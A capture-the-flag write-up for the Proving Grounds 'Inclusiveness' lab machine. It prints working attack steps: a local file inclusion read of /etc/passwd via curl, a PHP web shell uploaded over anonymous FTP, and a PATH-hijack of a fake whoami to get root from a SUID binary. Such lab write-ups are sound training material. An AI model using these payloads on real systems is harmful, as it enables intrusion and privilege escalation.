Proving grounds Play - Inclusiveness CTF writeup.
Nmap
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 2 0 0 4096 Feb 08 2020 pub [NSE: writeable]
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.45.168
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 061ba39283a57a15bd406e0c8d98277b (RSA)
| 256 cb3883261a9fd35dd3fe9ba1d3bcab2c (ECDSA)
|_ 256 6554fc2d12ace184783e0023fbe4c9ee (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Web PORT: 80
Directory Fuzzing
robots.txt file shows You are not a search engine! You can't read my robots.txt!. The restriction can be bypassed by changing the useragent in the request to GoogleBot.
/secret_information/
Upon clicking the english language button the website fetches the en.php file, which can be abused to read local files in the system.
LFI Vulnerability
Send below curl command to obtain /etc/passwd.
curl -s -A GoogleBot http://192.168.193.14/secret_information/?lang=/etc/passwd -i
HTTP/1.1 200 OK
Date: Fri, 22 Sep 2023 07:59:18 GMT
Server: Apache/2.4.38 (Debian)
Vary: Accept-Encoding
Content-Length: 2191
Content-Type: text/html; charset=UTF-8
<title>zone transfer</title>
<h2>DNS Zone Transfer Attack</h2>
<p><a href='?lang=en.php'>english</a> <a href='?lang=es.php'>spanish</a></p>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Escalate LFI to RCE
PORT 21: FTP
The FTP service allows anonymous login with write access to the pub folder. Create a php remode code execution code as below and save as shell.php.
<?php
system($_GET['cmd']);
?>
Login to the FTP server using anonymous as login and password. Use the put command to upload the shell. Once it’s uploaded send the curl request as below to check the remote code execution.
curl -s -A GoogleBot "http://192.168.193.14/secret_information/?lang=/var/ftp/pub/shell.php&cmd=id"
HTTP/1.1 200 OK
Date: Fri, 22 Sep 2023 08:09:36 GMT
Server: Apache/2.4.38 (Debian)
Vary: Accept-Encoding
Content-Length: 200
Content-Type: text/html; charset=UTF-8
<title>zone transfer</title>
<h2>DNS Zone Transfer Attack</h2>
<p><a href='?lang=en.php'>english</a> <a href='?lang=es.php'>spanish</a></p>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Now obtain a reverse shell by checking the python version and using a python reverse shell.
Initial Foothold Obtained
Privilege Escalation
Upon searching the user tom home directory there is a file named rootshell which is a compiled binary which can be run as root the owner of the file.
0K drwx------ 10 tom tom 4.0K Feb 8 2020 .cache
20K -rwsr-xr-x 1 root root 17K Feb 8 2020 rootshell
4.0K -rw-r--r-- 1 tom tom 448 Feb 8 2020 rootshell.c
4.0K -rw------- 1 tom tom 684 Feb 8 2020 .ICEauthority
4.0K drwx------ 3 tom tom 4.0K Feb 8 2020 .gnupg
4.0K drwx------ 10 tom tom 4.0K Feb 8 2020 .config
By running this binary will provide root shell.
rootshell.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
int main() {
printf("checking if you are tom...\n");
FILE* f = popen("whoami", "r");
char user[80];
fgets(user, 80, f);
printf("you are: %s\n", user);
//printf("your euid is: %i\n", geteuid());
if (strncmp(user, "tom", 3) == 0) {
printf("access granted.\n");
setuid(geteuid());
execlp("sh", "sh", (char *) 0);
}
}
The above c code is the one that has been compiled as rootshell binary. The vulnerability exists on the line 8 in where the program checks the user through whoami file and if the user is tom the program will grant access to root shell.
In order to exploit the vulnerability, the name tom should be printed on the whoami file and the PATH to the location of the whoami file should present as the first path where the system would check for the file named whoami.
Exploitation
The vulnerability can be exploited as follows.
www-data@inclusiveness:/tmp$ ls
ls
www-data@inclusiveness:/tmp$ echo "printf "tom"" > whoami #code to print tom
echo "printf "tom"" > whoami
www-data@inclusiveness:/tmp$ chmod 777 whoami #make the code executable for everyone
chmod 777 whoami
www-data@inclusiveness:/tmp$ export PATH=/tmp:$PATH #this ensures the /tmp is set as first in PATH variable
export PATH=/tmp:$PATH
www-data@inclusiveness:/tmp$ echo $PATH #check the PATh
echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin #confirm /tmp has been set as first
www-data@inclusiveness:/tmp$ cd /home/tom
cd /home/tom
www-data@inclusiveness:/home/tom$ ./rootshell #run the compiled binary
./rootshell
checking if you are tom...
you are: tom
access granted.
# whoami
whoami
tom# id
id
uid=0(root) gid=33(www-data) groups=33(www-data) #root obtained
Root Obtained
Thanks for reading!
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